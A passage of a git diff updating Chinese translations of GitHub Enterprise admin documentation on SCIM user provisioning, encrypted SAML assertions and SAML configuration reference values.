variables.product.product_name %} creates a user account using SAML Just-in-Time (JIT) provisioning the first time someone navigates to {% data variables.product.product_name %} and signs in by authenticating through your IdP. +如果不使用 SCIM 配置用户预配,则向用户分配或取消分配应用程序时,IdP 将不会自动与 {% data variables.product.product_name %} 通信。 如果没有 SCIM,{% data variables.product.product_name %} 会在有人第一次导航到 {% data variables.product.product_name %} 并通过 IdP 进行身份验证来登录时使用 SAML 实时 (JIT) 预配创建用户帐户。 -Configuring provisioning allows your IdP to communicate with {% data variables.location.product_location %} when you assign or unassign the application for {% data variables.product.product_name %} to a user on your IdP. When you assign the application, your IdP will prompt {% data variables.location.product_location %} to create an account and send an onboarding email to the user. When you unassign the application, your IdP will communicate with {% data variables.product.product_name %} to invalidate any SAML sessions and disable the member's account. +配置预配使 IdP 能够在将 {% data variables.product.product_name %} 的应用程序分配或取消分配给 IdP 上的用户时与 {% data variables.location.product_location %} 通信。 当你在分配应用程序时,IdP 将提示 {% data variables.location.product_location %} 创建帐户并向用户发送一封登录电子邮件。 取消分配应用程序时,IdP 将与 {% data variables.product.product_name %} 通信以取消任何 SAML 会话并禁用成员的帐户。 -To configure provisioning for your enterprise, you must enable provisioning on {% data variables.product.product_name %}, then install and configure a provisioning application on your IdP. +要为企业配置预配,必须在 {% data variables.product.product_name %} 上启用预配,然后在 IdP 上安装和配置预配应用程序。 {% ifversion scim-for-ghes %} -The provisioning application on your IdP communicates with {% data variables.product.product_name %} using the SCIM API. For more information, see "[SCIM](/rest/enterprise-admin/scim)" in the REST API documentation. +IdP 上的预配应用程序使用 SCIM API 与 {% data variables.product.product_name %} 通信。 有关详细信息,请参阅 REST API 文档中的“[SCIM](/rest/enterprise-admin/scim)”。 {% endif %} -## About identities and claims +## 关于标识和声明 -After an IdP administrator grants a person access to {% data variables.location.product_location %}, the user can authenticate through the IdP to access {% data variables.product.product_name %} using SAML SSO. +在 IdP 管理员授予对 {% data variables.location.product_location %} 的访问权限后,用户可以通过 IdP 进行身份验证,以使用 SAML SSO 访问 {% data variables.product.product_name %}。 -During authentication, {% ifversion scim-for-ghes %}the instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %} attempts to associate the user with a SAML identity. By default, {% ifversion scim-for-ghes %}the instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %} compares the `NameID` claim from the IdP to the account's username. {% data variables.product.product_name %} normalizes the value of `NameID` for the comparison. For more information about username normalization, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization)." +在身份验证期间,{% ifversion scim-for-ghes %}实例{% elsif ghae %}{% data variables.product.product_name %}{% endif %}会尝试将用户与 SAML 标识相关联。 默认情况下,{% ifversion scim-for-ghes %}实例{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 会将 IdP 中的 `NameID` 声明与帐户的用户名进行比较。 为进行比较,{% data variables.product.product_name %} 会将 `NameID` 值规范化。 有关用户名规范化等的详细信息,请参阅“[外部身份验证的用户名注意事项](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization)。“ -If there is no existing account with a matching username on the instance, the user will fail to sign in.{% ifversion scim-for-ghes %} To make this match, {% data variables.product.product_name %} compares the SAML `NameId` claim from the IdP to the `username` claim for each user account provisioned by SCIM on the instance.{% endif %} +如果实例上没有具有匹配用户名的现有帐户,用户将无法登录。{% ifversion scim-for-ghes %} 若要进行此匹配,{% data variables.product.product_name %} 会将 IdP 中的 SAML `NameId` 声明与实例上 SCIM 预配的每个用户帐户的 `username` 声明进行比较。{% endif %} {% ifversion scim-for-ghes %} {% note %} -**Note**: During SAML authentication, some environments may use a value other than `NameID` as the unique identifying claim. Currently, if you use SCIM provisioning, custom mappings for SAML user attributes are not supported. +注意:在 SAML 身份验证期间,某些环境可能会使用除 **以外的值作为唯一标识声明**`NameID`。 目前,如果使用 SCIM 预配,则不支持 SAML 用户属性的自定义映射。 {% endnote %} {% endif %} -If {% data variables.product.product_name %} successfully identifies a user from the IdP, but account details such as email address, first name, or last name don't match, the instance overwrites the details with values from the IdP. Any email addresses other than the primary email provisioned by SCIM will also be deleted from the user account. +如果 {% data variables.product.product_name %} 成功标识 IdP 中的用户,但帐户详细信息(如电子邮件地址、名字或姓氏)不匹配,则实例会使用 IdP 中的值覆盖详细信息。 除 SCIM 预配的主电子邮件以外的任何电子邮件地址也将从用户帐户中删除。 -## Supported identity providers +## 支持的身份提供程序 {% ifversion ghes %} -During the private beta, your account team will provide documentation for the configuration of SCIM for {% data variables.product.product_name %} on a supported IdP. +在专用 beta 版本中,帐户团队将提供在支持的 IdP 上为 {% data variables.product.product_name %} 配置 SCIM 的文档。 {% elsif ghae %} -The following IdPs support user provisioning with SCIM for {% data variables.product.product_name %}. +以下 IdP 支持对 {% data variables.product.product_name %} 使用 SCIM 进行用户预配。 {% data reusables.saml.okta-ae-sso-beta %} @@ -81,72 +86,68 @@ The following IdPs support user provisioning with SCIM for {% data variables.pro {% data reusables.scim.ghes-scim-idp-table %} -For IdPs that support team mapping, you can assign or unassign the application for {% data variables.product.product_name %} to groups of users in your IdP. These groups are then available to organization owners and team maintainers in {% data variables.location.product_location %} to map to {% data variables.product.product_name %} teams. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +对于支持团队映射的 IdP,您可以将 {% data variables.product.product_name %} 应用程序分配给或取消分配给 IdP 中的用户组。 然后,这些组可供 {% data variables.location.product_location %} 中的组织所有者和团队维护员来映射到 {% data variables.product.product_name %} 团队。 有关详细信息,请参阅“[将 Okta 组映射到团队](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)”。 {% endif %} -## Prerequisites +## 先决条件 {% ifversion ghae %} -- You must configure SAML SSO when you initialize {% data variables.product.product_name %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." +- 初始化 {% data variables.product.product_name %} 时,必须配置 SAML SSO。 有关详细信息,请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)”。 {% elsif scim-for-ghes %} - {% data reusables.saml.ghes-you-must-configure-saml-sso %} -- You must allow built-in authentication for users who don't have an account on your IdP. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." +- 必须允许对 IdP 上没有帐户的用户使用内置身份验证。 有关详细信息,请参阅“[允许对提供者外部的用户使用内置身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)”。 -- Your IdP must support making SCIM calls to a Service Provider (SP). +- IdP 必须支持对服务提供商 (SP) 进行 SCIM 调用。 {% endif %} -- You must have administrative access on your IdP to configure the application for user provisioning for {% data variables.product.product_name %}. +- 您必须对 IdP 具有管理访问权限,才能配置应用程序进行 {% data variables.product.product_name %} 的用户预配。 -## Enabling user provisioning for your enterprise +## 为企业启用用户预配 {% ifversion scim-for-ghes %} -To perform provisioning actions on your instance, you will create a built-in user account and promote the account to an enterprise owner. +若要对实例执行预配操作,你将创建内置用户帐户,并将帐户提升为企业所有者。 -After you enable SCIM on a {% data variables.product.product_name %} instance, all user accounts are suspended. The built-in user account will continue to perform provisioning actions. After you grant a user access to your instance from your IdP, the IdP will communicate with the instance using SCIM to unsuspend the user's account. +在 {% data variables.product.product_name %} 实例上启用 SCIM 后,所有用户帐户都会暂停。 内置用户帐户将继续执行预配操作。 在授予用户从 IdP 访问实例的权限后,IdP 将使用 SCIM 与实例通信,以取消暂停用户帐户。 {% endif %} {%- ifversion ghae %} -1. While signed into {% data variables.location.product_location %} as an enterprise owner, create a {% data variables.product.pat_v1 %} with **admin:enterprise** scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +1. 当以企业所有者身份登录到 {% data variables.location.product_location %} 时,需创建一个范围为 admin:enterprise 的 {% data variables.product.pat_v1 %}。 有关详细信息,请参阅“[创建{% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)”。 {% note %} - **Notes**: - - To create the {% data variables.product.pat_generic %}, we recommend using the account for the first enterprise owner that you created during initialization. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." - - You'll need this {% data variables.product.pat_generic %} to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions. + **注释**: + - 要创建 {% data variables.product.pat_generic %},建议使用初始化期间创建的第一个企业所有者的帐户。 有关详细信息,请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)”。 + - 在 IdP 上为 SCIM 配置应用程序时需要此 {% data variables.product.pat_generic %}。 将令牌安全地存储在密码管理器中,直到您稍后在这些说明中再次需要该令牌。 - {% endnote %} - {% warning %} + {% endnote %} {% warning %} - **Warning**: If the user account for the enterprise owner who creates the {% data variables.product.pat_generic %} is deactivated or deprovisioned, your IdP will no longer provision and deprovision user accounts for your enterprise automatically. Another enterprise owner must create a new {% data variables.product.pat_generic %} and reconfigure provisioning on the IdP. + **警告**:如果创建 {% data variables.product.pat_generic %} 的企业所有者的用户帐户已停用或取消预配,IdP 将不再自动为企业预配和取消预配用户帐户。 其他企业所有者必须创建新的 {% data variables.product.pat_generic %},并在 IdP 上重新配置预配。 - {% endwarning %} -{%- elsif scim-for-ghes %} -1. Create a built-in user account to perform provisioning actions on your instance. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance)." -1. Promote the dedicated user account to an enterprise owner. For more information, see "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#adding-an-enterprise-administrator-to-your-enterprise-account)." -1. Sign into your instance as the new enterprise owner. -1. Create a {% data variables.product.pat_v1 %} with **admin:enterprise** scope. Do not specify an expiration date for the {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + {% endwarning %} {%- elsif scim-for-ghes %} +1. 创建内置用户帐户,对实例执行预配操作。 有关详细信息,请参阅“[允许对提供者外部的用户使用内置身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance)”。 +1. 将专用用户帐户提升至企业所有者。 有关详细信息,请参阅[邀请人员管理企业](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#adding-an-enterprise-administrator-to-your-enterprise-account)。 +1. 以新企业所有者身份登录到实例。 +1. 在 admin:enterprise 范围内创建 {% data variables.product.pat_v1 %}。 请不要为 {% data variables.product.pat_v1 %} 指定到期日期。 有关详细信息,请参阅“[创建 {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)”。 {% warning %} - **Warning**: Ensure that you don't specify an expiration date for the {% data variables.product.pat_v1 %}. If you specify an expiration date, SCIM will no longer function after the expiration date passes. + 警告:请确保不为 {% data variables.product.pat_v1 %} 指定到期日期。 如果指定过期日期,则 SCIM 在到期日期过后将不再有效。 - {% endwarning %} - {% note %} + {% endwarning %} {% note %} - **Note**: You'll need this {% data variables.product.pat_generic %} to test the SCIM configuration, and to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions. + 注意:测试 SCIM 配置和在 IdP 上为 SCIM 配置应用程序时需要此 {% data variables.product.pat_generic %}。 将令牌安全地存储在密码管理器中,直到您稍后在这些说明中再次需要该令牌。 - {% endnote %} -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To enable SCIM, run the commands provided to you by your account manager on {% data variables.contact.contact_enterprise_sales %}. + {% endnote %} {% data reusables.enterprise_installation.ssh-into-instance %} +1. 若要启用 SCIM,请在 {% data variables.contact.contact_enterprise_sales %} 上运行客户经理提供的命令。 {% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} -1. To validate that SCIM is operational, run the following commands. Replace _PAT FROM STEP 3_ and _YOUR INSTANCE'S HOSTNAME_ with actual values. +1. 若要验证 SCIM 是否正常运行,请运行以下命令。 将 _步骤 3 中的 PAT_ 和 _实例的主机名_ 替换为实际值。 ```shell $ GHES_PAT="PAT FROM STEP 3" @@ -156,30 +157,25 @@ After you enable SCIM on a {% data variables.product.product_name %} instance, a --header 'Authorization: Bearer $GHES_PAT' ``` - The command should return an empty array. -{%- endif %} -{%- ifversion ghae %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. Under "SCIM User Provisioning", select **Require SCIM user provisioning**. - ![Checkbox for "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) -1. Click **Save**. - ![Save button under "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-scim-save.png) -{%- endif %} -1. Configure user provisioning in the application for {% data variables.product.product_name %} on your IdP.{% ifversion scim-for-ghes %} To request documentation for a supported IdP, contact your account manager on {% data variables.contact.contact_enterprise_sales %}. If your IdP is unsupported, you must create the application and configure SCIM manually.{% elsif ghae %} + 该命令应返回空数组。 +{%- endif %} {%- ifversion ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} +1. 在“SCIM 用户预配”下,选择“需要 SCIM 用户预配”。 + ![企业安全设置中的“需要 SCIM 用户预配”复选框](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) +1. 单击“ **保存**”。 + ![企业安全设置中“需要 SCIM 用户预配”下的“保存”按钮](/assets/images/help/enterprises/settings-scim-save.png) {%- endif %} +1. 在 IdP 上 {% data variables.product.product_name %} 的应用程序中配置用户预配。{% ifversion scim-for-ghes %} 若要请求受支持 IdP 的文档,请在 {% data variables.contact.contact_enterprise_sales %} 上联系客户经理。 如果 IdP 不受支持,则必须手动创建应用程序并配置 SCIM。{% elsif ghae %} - The following IdPs provide documentation about configuring provisioning for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}. + 以下 IdP 提供有关为 {% data variables.product.product_name %} 配置预配的文档。 如果您的 IdP 未列出,请与您的 IdP 联系,以请求 {% data variables.product.product_name %}。 - | IdP | More information | + | IdP | 详细信息 | | :- | :- | - | Azure AD | [Tutorial: Configure {% data variables.product.prodname_ghe_managed %} for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) in the Microsoft Docs. To configure Azure AD for {% data variables.product.product_name %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)." | - | Okta | (beta) To configure Okta for {% data variables.product.product_name %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)." | + | Azure AD | [教程:在 Microsoft Docs 中配置 {% data variables.product.prodname_ghe_managed %} 以实现自动用户预配](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial)。若要为 {% data variables.product.product_name %} 配置 Azure AD,请参阅“[使用 Azure AD 为企业配置身份验证和进行预配](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)”。 | + | Okta | (beta 版本)若要为 {% data variables.product.product_name %} 配置 Okta,请参阅“[使用 Okta 为企业配置身份验证和进行预配](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)”。 | - The application on your IdP requires two values to provision or deprovision user accounts on {% data variables.location.product_location %}. + IdP 上的应用程序需要两个值来预配或取消预配 {% data variables.location.product_location %} 上的用户帐户。 - | Value | Other names | Description | Example | + | 值 | 其他名称 | 说明 | 示例 | | :- | :- | :- | :- | - | URL | Tenant URL | URL to the SCIM provisioning API for your enterprise on {% data variables.product.product_name %} | {% data variables.product.api_url_pre %}/scim/v2 | - | Shared secret | {% data variables.product.pat_generic_caps %}, secret token | Token for application on your IdP to perform provisioning tasks on behalf of an enterprise owner | {% data variables.product.pat_generic_caps %} you created in step 1 | - {%- endif %} \ No newline at end of file + | URL | 租户 URL | {% data variables.product.product_name %} 上企业的 SCIM 预配 API 的 URL | {% data variables.product.api_url_pre %}/scim/v2 | + | 共享密钥 | {% data variables.product.pat_generic_caps %},机密令牌 | IdP 上的应用程序用于代表企业所有者执行预配任务的令牌 | 在步骤 1 中创建的 {% data variables.product.pat_generic_caps %} | + {%- endif %} diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md index 83a3c87b14..a85e477495 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md @@ -1,7 +1,7 @@ --- -title: Enabling encrypted assertions +title: 启用加密断言 shortTitle: Enable encrypted assertions -intro: 'You can improve {% data variables.location.product_location %}''s security with SAML single sign-on (SSO) by encrypting the messages that your SAML identity provider (IdP) sends.' +intro: '通过加密 SAML 标识提供者 (IdP) 发送的消息,可以使用 SAML 单一登录 (SSO) 提高 {% data variables.product.product_location %} 的安全性。' permissions: 'Site administrators can configure encrypted assertions for a {% data variables.product.product_name %} instance.' versions: ghes: '> 3.3' @@ -13,48 +13,51 @@ topics: - Identity - Security - SSO +ms.openlocfilehash: ecb60a4398993155fa7498f26e7628660e88e54a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063776' --- +## 关于加密断言 -## About encrypted assertions +如果 IdP 支持断言加密,则可以在 {% data variables.product.product_name %} 上配置加密断言,以提高身份验证过程中的安全性。 -If your IdP support encryption of assertions, you can configure encrypted assertions on {% data variables.product.product_name %} for increased security during the authentication process. +## 先决条件 -## Prerequisites +若要启用加密断言以对 {% data variables.product.product_name %} 进行身份验证,则必须配置 SAML 身份验证,并且 IdP 必须支持加密断言。 -To enable encrypted assertions for authentication to {% data variables.product.product_name %}, you must configure SAML authentication, and your IdP must support encrypted assertions. +## 启用加密断言 -## Enabling encrypted assertions - -To enable encrypted assertions, you must provide {% data variables.location.product_location %}'s public certificate to your IdP, and configure encryption settings that match your IdP. +要启用加密断言,必须向 IdP 提供 {% data variables.product.product_location %} 的公共证书,并配置与 IdP 匹配的加密设置。 {% note %} -**Note**: {% data reusables.enterprise.test-in-staging %} +注意:{% data reusables.enterprise.test-in-staging %} {% endnote %} -1. Optionally, enable SAML debugging. SAML debugging records verbose entries in {% data variables.product.product_name %}'s authentication log, and may help you troubleshoot failed authentication attempts. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)." -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. Select **Require encrypted assertions**. +1. (可选)启用 SAML 调试。 SAML 调试在 {% data variables.product.product_name %} 的身份验证日志中记录详细条目,并且可以帮助你排查身份验证尝试失败的问题。 有关详细信息,请参阅“[对 SAML 身份验证进行故障排除](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)”。 +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} +1. 选择“需要加密断言”。 - ![Screenshot of "Enable encrypted assertions" checkbox within management console's "Authentication" section](/assets/images/help/saml/management-console-enable-encrypted-assertions.png) -1. To the right of "Encryption Certificate", click **Download** to save a copy of {% data variables.location.product_location %}'s public certificate on your local machine. + ![管理控制台“身份验证”部分中“启用加密断言”复选框的屏幕截图](/assets/images/help/saml/management-console-enable-encrypted-assertions.png) +1. 在“加密证书”右侧,单击“下载”,将 {% data variables.product.product_location %} 的公共证书副本保存在本地计算机上。 - ![Screenshot of "Download" button for public certificate for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-download-certificate.png) -1. Sign into your SAML IdP as an administrator. -1. In the application for {% data variables.location.product_location %}, enable encrypted assertions. - - Note the encryption method and key transport method. - - Provide the public certificate you downloaded in step 7. -1. Return to the management console on {% data variables.location.product_location %}. -1. To the right of "Encryption Method", select the encryption method for your IdP from step 9. + ![用于加密断言的公共证书的“下载”按钮的屏幕截图](/assets/images/help/saml/management-console-encrypted-assertions-download-certificate.png) +1. 以管理员身份登录到 SAML IdP。 +1. 在 {% data variables.product.product_location %} 的应用程序中,启用加密断言。 + - 请注意加密方法和密钥传输方法。 + - 提供你在步骤 7 中下载的公共证书。 +1. 返回到 {% data variables.product.product_location %} 上的管理控制台。 +1. 在“加密方法”的右侧,选择步骤 9 中的 IdP 加密方法。 - ![Screenshot of "Encryption Method" for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-encryption-method.png) -1. To the right of "Key Transport Method", select the key transport method for your IdP from step 9. + ![加密断言的“加密方法”屏幕截图](/assets/images/help/saml/management-console-encrypted-assertions-encryption-method.png) +1. 在“密钥传输方法”的右侧,选择步骤 9 中的 IdP 密钥传输方法。 - ![Screenshot of "Key Transport Method" for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-key-transport-method.png) -1. Click **Save settings**. + ![加密断言的“密钥传输方法”屏幕截图](/assets/images/help/saml/management-console-encrypted-assertions-key-transport-method.png) +1. 单击“保存设置”。 {% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} -If you enabled SAML debugging to test authentication with encrypted assertions, disable SAML debugging when you're done testing. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)." +如果启用了 SAML 调试以使用加密断言测试身份验证,请在完成测试后禁用 SAML 调试。 有关详细信息,请参阅“[对 SAML 身份验证进行故障排除](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)”。 diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md index a7575e8ea9..da230fd355 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md @@ -1,7 +1,7 @@ --- -title: SAML configuration reference +title: SAML 配置参考 shortTitle: SAML reference -intro: 'You can see SAML metadata for {% ifversion ghec %}your organization or enterprise on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}, and you can learn more about available SAML attributes and response requirements.' +intro: '可以查看{% ifversion ghec %}组织或企业(在 {% data variables.product.product_name %}{% elsif ghes %}{% data variables.product.product_location %} 上){% elsif ghae %}企业(在 {% data variables.product.product_name %} 上){% endif %}的 SAML 元数据,并详细了解可用的 SAML 属性和响应要求。' versions: ghec: '*' ghes: '*' @@ -13,82 +13,80 @@ topics: - Enterprise - Identity - SSO +ms.openlocfilehash: e86167793ea3de31a9ee8a2a6a651183de8fa907 +ms.sourcegitcommit: 399f27841ff88f14a3880d351c282db85182ac25 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '147093116' --- +## 关于 SAML 配置 -## About SAML configuration +要使用 SAML 单一登录 (SSO) 对 {% data variables.product.product_name %} 进行身份验证,必须同时配置外部 SAML 标识提供者 (IdP) 和{% ifversion ghes %}{% data variables.product.product_location %}{% elsif ghec %}你的企业或组织(在 {% data variables.product.product_location %} 上){% elsif ghae %}你的企业(在 {% data variables.product.product_name %}{% endif %} 上)。 在 SAML 配置中,{% data variables.product.product_name %} 充当 SAML 服务提供商 (SP)。 -To use SAML single sign-on (SSO) for authentication to {% data variables.product.product_name %}, you must configure both your external SAML identity provider (IdP) and {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghec %}your enterprise or organization on {% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}. In a SAML configuration, {% data variables.product.product_name %} functions as a SAML service provider (SP). +在为 {% data variables.product.product_name %} 配置 SAML SSO 时,必须输入来自 SAML IdP 的唯一值,并且还必须在 IdP 上输入来自 {% data variables.product.product_name %} 的唯一值。 有关 {% data variables.product.product_name %} 的 SAML SSO 配置的详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise){% ifversion ghes or ghae %}{% elsif ghec %}”或“[为组织启用和测试 SAML 单一登录](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization){% endif %}”。 -You must enter unique values from your SAML IdP when configuring SAML SSO for {% data variables.product.product_name %}, and you must also enter unique values from {% data variables.product.product_name %} on your IdP. For more information about the configuration of SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise){% ifversion ghes or ghae %}{% elsif ghec %}" or "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization){% endif %}." - -## SAML metadata +## SAML 元数据 {% ifversion ghec %} -The SP metadata for {% data variables.product.product_name %} is available for either organizations or enterprises with SAML SSO. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. +{% data variables.product.product_name %} 的 SP 元数据可用于具有 SAML SSO 的组织或企业。 {% data variables.product.product_name %} 使用 `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` 绑定。 -### Organizations +### 组织 -You can configure SAML SSO for an individual organization in your enterprise. You can also configure SAML SSO for an organization if you use an individual organization on {% data variables.product.product_name %} and do not use an enterprise account. For more information, see "[Managing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization)." +可以为企业中的单个组织配置 SAML SSO。 如果在 {% data variables.product.product_name %} 上使用单个组织,不使用企业帐户,也可以为组织配置 SAML SSO。 有关详细信息,请参阅“[管理组织的 SAML 单一登录](/organizations/managing-saml-single-sign-on-for-your-organization)”。 -The SP metadata for an organization on {% data variables.location.product_location %} is available at `https://github.com/orgs/ORGANIZATION/saml/metadata`, where **ORGANIZATION** is the name of your organization on {% data variables.location.product_location %}. +{% data variables.product.product_location %} 上组织的 SP 元数据在 `https://github.com/orgs/ORGANIZATION/saml/metadata` 上已提供,其中 ORGANIZATION 是 {% data variables.product.product_location %} 上组织的名称。 -| Value | Other names | Description | Example | +| 值 | 其他名称 | 说明 | 示例 | | :- | :- | :- | :- | -| SP Entity ID | SP URL, audience restriction | The top-level URL for your organization on {% data variables.location.product_location %} | `https://github.com/orgs/ORGANIZATION` | -| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/orgs/ORGANIZATION/saml/consume` | -| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://github.com/orgs/ORGANIZATION/saml/sso` | +| SP 实体 ID | SP URL、受众限制 | {% data variables.product.product_location %} 上组织的顶级 URL | `https://github.com/orgs/ORGANIZATION` | +| SP 断言使用者服务 (ACS) URL | 回复、收件人或目标 URL | IdP 发送 SAML 响应的 URL | `https://github.com/orgs/ORGANIZATION/saml/consume` | +| SP 单点登录 (SSO) URL | | IdP 开始 SSO 的 URL | `https://github.com/orgs/ORGANIZATION/saml/sso` | -### Enterprises +### 企业 -The SP metadata for an enterprise on {% data variables.location.product_location %} is available at `https://github.com/enterprises/ENTERPRISE/saml/metadata`, where **ENTERPRISE** is the name of your enterprise on {% data variables.location.product_location %}. +{% data variables.product.product_location %} 上企业的 SP 元数据在 `https://github.com/enterprises/ENTERPRISE/saml/metadata` 上已提供,其中 ENTERPRISE 是 {% data variables.product.product_location %} 上企业的名称。 -| Value | Other names | Description | Example | +| 值 | 其他名称 | 说明 | 示例 | | :- | :- | :- | :- | -| SP Entity ID | SP URL, audience restriction | The top-level URL for your enterprise on {% data variables.location.product_location %} | `https://github.com/enterprises/ENTERPRISE` | -| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/enterprises/ENTERPRISE/saml/consume` | -| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://github.com/enterprises/ENTERPRISE/saml/sso` | +| SP 实体 ID | SP URL、受众限制 | {% data variables.product.product_location %} 上企业的顶级 URL | `https://github.com/enterprises/ENTERPRISE` | +| SP 断言使用者服务 (ACS) URL | 回复、收件人或目标 URL | IdP 发送 SAML 响应的 URL | `https://github.com/enterprises/ENTERPRISE/saml/consume` | +| SP 单点登录 (SSO) URL | | IdP 开始 SSO 的 URL | `https://github.com/enterprises/ENTERPRISE/saml/sso` | {% elsif ghes %} -The SP 